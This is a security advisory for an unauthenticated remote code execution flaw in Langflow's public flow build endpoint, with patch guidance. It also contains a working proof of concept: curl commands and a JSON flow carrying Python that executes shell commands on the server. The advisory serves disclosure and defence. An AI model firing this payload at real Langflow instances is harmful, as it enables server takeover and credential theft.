CVE-2026-33017: Langflow Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-vwmf-pq79-vjvx
CVSS 9.8
CWE-94 CWE-306 CWE-95
Published
Advisory Summary

CVE-2026-33017 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Langflow libraries in the PyPI ecosystem. The issue involves unauthenticated remote code execution in langflow via public flow build endpoint. Remediation is available by upgrading affected packages to version 1.9.0.

CVE-2026-33017 at a Glance

CVE Identifier CVE-2026-33017
GHSA Identifier GHSA-vwmf-pq79-vjvx
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Langflow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33017

To remediate this vulnerability, upgrade all affected Langflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

langflow fixed: 1.9.0
pip install langflow>=1.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show langflow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33017, inspect your installed packages using pip:

pip show langflow

Analyze the terminal output to locate any version of Langflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.0), your application is affected.

Note: The pip show langflow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Langflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. ## Affected Code ### Vulnerable Endpoint (No Authentication) **File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657 ```python @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( *, flow_id: uuid.UUID, data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED request: Request, # ... NO Depends(get_current_active_user) -- MISSING AUTH ... ): """Build a public flow without requiring authentication.""" client_id = request.cookies.get("client_id") owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id) job_id = await start_flow_build( flow_id=new_flow_id, data=data, # Attacker's data passed directly to graph builder current_user=owner_user, ... ) ``` Compare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`. ### Code Execution Chain When attacker-supplied `data` is provided, it flows through: 1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81` 2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298` 3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168` 4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527` 5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323` 6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28` 7. `code = custom_params.pop("code")` extracts attacker code -- `loading.py:43` 8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9` 9. `prepare_global_scope(module)` -- `validate.py:323` 10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397` ### Unsandboxed exec() in prepare_global_scope **File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397 ```python def prepare_global_scope(module): exec_globals = globals().copy() # Imports are resolved first (any module can be imported) for node in imports: module_obj = importlib.import_module(module_name) # line 352 exec_globals[variable_name] = module_obj # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef) if definitions: combined_module = ast.Module(body=definitions, type_ignores=[]) compiled_code = compile(combined_module, "<string>", "exec") exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION ``` **Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system("id")` is an assignment and will be executed during graph building -- before the flow even "runs." ## Prerequisites 1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows) 2. Attacker knows the public flow's UUID (discoverable via shared links/URLs) 3. No authentication required -- only a `client_id` cookie (any arbitrary string value) When `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker: 1. `GET /api/v1/auto_login` → obtain superuser token 2. `POST /api/v1/flows/` → create a public flow 3. Exploit via `build_public_tmp` without any auth ## Proof of Concept ### Tested Against - **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`) - **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each) ### Step 1: Obtain a Public Flow ID (In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.) ```bash # Get superuser token (no credentials needed when AUTO_LOGIN=true) TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token') # Create a public flow FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \ | jq -r '.id') echo "Public Flow ID: $FLOW_ID" ``` ### Step 2: Exploit -- Unauthenticated RCE ```bash # EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint # NO Authorization header, NO API key, NO credentials curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \ -H "Content-Type: application/json" \ -b "client_id=attacker" \ -d '{ "data": { "nodes": [{ "id": "Exploit-001", "type": "genericNode", "position": {"x":0,"y":0}, "data": { "id": "Exploit-001", "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "required": true, "show": true, "multiline": true, "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name=\"X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})", "name": "code", "password": false, "advanced": false, "dynamic": false }, "_type": "Component" }, "description": "X", "base_classes": ["Data"], "display_name": "ExploitComp", "name": "ExploitComp", "frozen": false, "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}], "field_order": ["code"], "beta": false, "edited": false } } }], "edges": [] }, "inputs": null }' ``` ### Step 3: Verify Code Execution ```bash # Wait 2 seconds for async graph building sleep 2 # Check proof file written by attacker's code on the server cat /tmp/rce-proof # Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali ``` ### Actual Test Results ``` ====================================================================== LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST ====================================================================== Version: Langflow 1.7.3 RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-f0d19b36 hostname: kali uid: 1000 whoami: aviral id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),... uname: Linux 6.16.8+kali-amd64 RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-6037a271 RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7 *** REMOTE CODE EXECUTION CONFIRMED *** canary: RCE-4a796556 FINAL RESULTS Total checks: 15 VULNERABLE: 15 SAFE: 0 RCE confirmed: 3/3 runs Reproducible: YES (100%) ``` ## Impact - **Unauthenticated Remote Code Execution** with full server process privileges - **Complete server compromise**: arbitrary file read/write, command execution - **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated) - **Reverse shell access** for persistent access - **Lateral movement** within the network - **Data exfiltration** from all flows, messages, and stored credentials in the database ## Comparison with CVE-2025-3248 | Aspect | CVE-2025-3248 | This Vulnerability | |--------|--------------|-------------------| | **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` | | **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability | | **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param | | **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` | | **CISA KEV** | Yes (actively exploited) | N/A (new finding) | | **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed | ## Recommended Fix ### Immediate (Short-term) **Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data: ```python @router.post("/build_public_tmp/{flow_id}/flow") async def build_public_tmp( *, flow_id: uuid.UUID, inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None, # REMOVED: data parameter -- public flows must use stored data only ... ): ``` In `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests: ```python async def create_graph(fresh_session, flow_id_str, flow_name): # For public flows, ALWAYS load from database, never from user data return await build_graph_from_db( flow_id=flow_id, session=fresh_session, ... ) ```

CVE-2026-33017 Affected Langflow Versions

1 component(s)
Fixed Versions:
1.9.0
Product / Package Ecosystem Affected Versions Fixed Version
langflow
PyPI
< 1.9.0
1.9.0

References

Frequently Asked Questions

What is CVE-2026-33017?
CVE-2026-33017 is a security vulnerability in Langflow involving Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Langflow versions are affected?
Affected versions include releases prior to 1.9.0 across affected packages: langflow.
What version fixes CVE-2026-33017?
Upgrading to 1.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is langflow affected?
Yes, langflow is affected in releases prior to 1.9.0. Upgrade your dependency to 1.9.0 or later.
What is the CVSS score of CVE-2026-33017?
CVE-2026-33017 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33017?
CVE-2026-33017 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-33017?
Run the dependency tree command: 'pip show langflow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vwmf-pq79-vjvx",
  "modified" : "2026-06-08T23:11:45Z",
  "published" : "2026-03-17T20:05:05Z",
  "aliases" : [ "CVE-2026-33017" ],
  "summary" : "Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint",
  "details" : "## Summary\n\nThe `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.\n\nThis is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.\n\n## Affected Code\n\n### Vulnerable Endpoint (No Authentication)\n\n**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n    *,\n    flow_id: uuid.UUID,\n    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED\n    request: Request,\n    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...\n):\n    \"\"\"Build a public flow without requiring authentication.\"\"\"\n    client_id = request.cookies.get(\"client_id\")\n    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)\n\n    job_id = await start_flow_build(\n        flow_id=new_flow_id,\n        data=data,  # Attacker's data passed directly to graph builder\n        current_user=owner_user,\n        ...\n    )\n```\n\nCompare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.\n\n### Code Execution Chain\n\nWhen attacker-supplied `data` is provided, it flows through:\n\n1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81`\n2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`\n3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`\n4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527`\n5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`\n6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28`\n7. `code = custom_params.pop(\"code\")` extracts attacker code -- `loading.py:43`\n8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9`\n9. `prepare_global_scope(module)` -- `validate.py:323`\n10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`\n\n### Unsandboxed exec() in prepare_global_scope\n\n**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397\n\n```python\ndef prepare_global_scope(module):\n    exec_globals = globals().copy()\n\n    # Imports are resolved first (any module can be imported)\n    for node in imports:\n        module_obj = importlib.import_module(module_name)  # line 352\n        exec_globals[variable_name] = module_obj\n\n    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)\n    if definitions:\n        combined_module = ast.Module(body=definitions, type_ignores=[])\n        compiled_code = compile(combined_module, \"<string>\", \"exec\")\n        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION\n```\n\n**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system(\"id\")` is an assignment and will be executed during graph building -- before the flow even \"runs.\"\n\n## Prerequisites\n\n1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)\n2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)\n3. No authentication required -- only a `client_id` cookie (any arbitrary string value)\n\nWhen `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:\n1. `GET /api/v1/auto_login` → obtain superuser token\n2. `POST /api/v1/flows/` → create a public flow\n3. Exploit via `build_public_tmp` without any auth\n\n## Proof of Concept\n\n### Tested Against\n\n- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)\n- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)\n\n### Step 1: Obtain a Public Flow ID\n\n(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)\n\n```bash\n# Get superuser token (no credentials needed when AUTO_LOGIN=true)\nTOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')\n\n# Create a public flow\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"test\",\"data\":{\"nodes\":[],\"edges\":[]},\"access_type\":\"PUBLIC\"}' \\\n  | jq -r '.id')\n\necho \"Public Flow ID: $FLOW_ID\"\n```\n\n### Step 2: Exploit -- Unauthenticated RCE\n\n```bash\n# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint\n# NO Authorization header, NO API key, NO credentials\ncurl -X POST \"http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow\" \\\n  -H \"Content-Type: application/json\" \\\n  -b \"client_id=attacker\" \\\n  -d '{\n    \"data\": {\n      \"nodes\": [{\n        \"id\": \"Exploit-001\",\n        \"type\": \"genericNode\",\n        \"position\": {\"x\":0,\"y\":0},\n        \"data\": {\n          \"id\": \"Exploit-001\",\n          \"type\": \"ExploitComp\",\n          \"node\": {\n            \"template\": {\n              \"code\": {\n                \"type\": \"code\",\n                \"required\": true,\n                \"show\": true,\n                \"multiline\": true,\n                \"value\": \"import os, socket, json as _json\\n\\n_proof = os.popen(\\\"id\\\").read().strip()\\n_host = socket.gethostname()\\n_write = open(\\\"/tmp/rce-proof\\\",\\\"w\\\").write(f\\\"{_proof} on {_host}\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n    display_name=\\\"X\\\"\\n    outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n    def r(self)->Data:\\n        return Data(data={})\",\n                \"name\": \"code\",\n                \"password\": false,\n                \"advanced\": false,\n                \"dynamic\": false\n              },\n              \"_type\": \"Component\"\n            },\n            \"description\": \"X\",\n            \"base_classes\": [\"Data\"],\n            \"display_name\": \"ExploitComp\",\n            \"name\": \"ExploitComp\",\n            \"frozen\": false,\n            \"outputs\": [{\"types\":[\"Data\"],\"selected\":\"Data\",\"name\":\"o\",\"display_name\":\"O\",\"method\":\"r\",\"value\":\"__UNDEFINED__\",\"cache\":true,\"allows_loop\":false,\"tool_mode\":false,\"hidden\":null,\"required_inputs\":null,\"group_outputs\":false}],\n            \"field_order\": [\"code\"],\n            \"beta\": false,\n            \"edited\": false\n          }\n        }\n      }],\n      \"edges\": []\n    },\n    \"inputs\": null\n  }'\n```\n\n### Step 3: Verify Code Execution\n\n```bash\n# Wait 2 seconds for async graph building\nsleep 2\n\n# Check proof file written by attacker's code on the server\ncat /tmp/rce-proof\n# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali\n```\n\n### Actual Test Results\n\n```\n======================================================================\nLANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST\n======================================================================\nVersion:  Langflow 1.7.3\n\nRUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-f0d19b36\n    hostname: kali\n    uid: 1000\n    whoami: aviral\n    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...\n    uname: Linux 6.16.8+kali-amd64\n\nRUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-6037a271\n\nRUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-4a796556\n\nFINAL RESULTS\n  Total checks:   15\n  VULNERABLE:     15\n  SAFE:           0\n  RCE confirmed:  3/3 runs\n  Reproducible:   YES (100%)\n```\n\n## Impact\n\n- **Unauthenticated Remote Code Execution** with full server process privileges\n- **Complete server compromise**: arbitrary file read/write, command execution\n- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)\n- **Reverse shell access** for persistent access\n- **Lateral movement** within the network\n- **Data exfiltration** from all flows, messages, and stored credentials in the database\n\n## Comparison with CVE-2025-3248\n\n| Aspect | CVE-2025-3248 | This Vulnerability |\n|--------|--------------|-------------------|\n| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |\n| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |\n| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |\n| **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` |\n| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |\n| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |\n\n## Recommended Fix\n\n### Immediate (Short-term)\n\n**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n    *,\n    flow_id: uuid.UUID,\n    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,\n    # REMOVED: data parameter -- public flows must use stored data only\n    ...\n):\n```\n\nIn `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:\n\n```python\nasync def create_graph(fresh_session, flow_id_str, flow_name):\n    # For public flows, ALWAYS load from database, never from user data\n    return await build_graph_from_db(\n        flow_id=flow_id,\n        session=fresh_session,\n        ...\n    )\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:A"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langflow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.8.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33017"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/issues/12345"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/pull/12160"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-rvqx-wpfh-mfx7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langflow-ai/langflow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/releases/tag/1.8.2"
  }, {
    "type" : "WEB",
    "url" : "https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-33017"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017"
  }, {
    "type" : "WEB",
    "url" : "https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-94", "CWE-95" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-17T20:05:05Z",
    "nvd_published_at" : "2026-03-20T05:16:15Z"
  }
}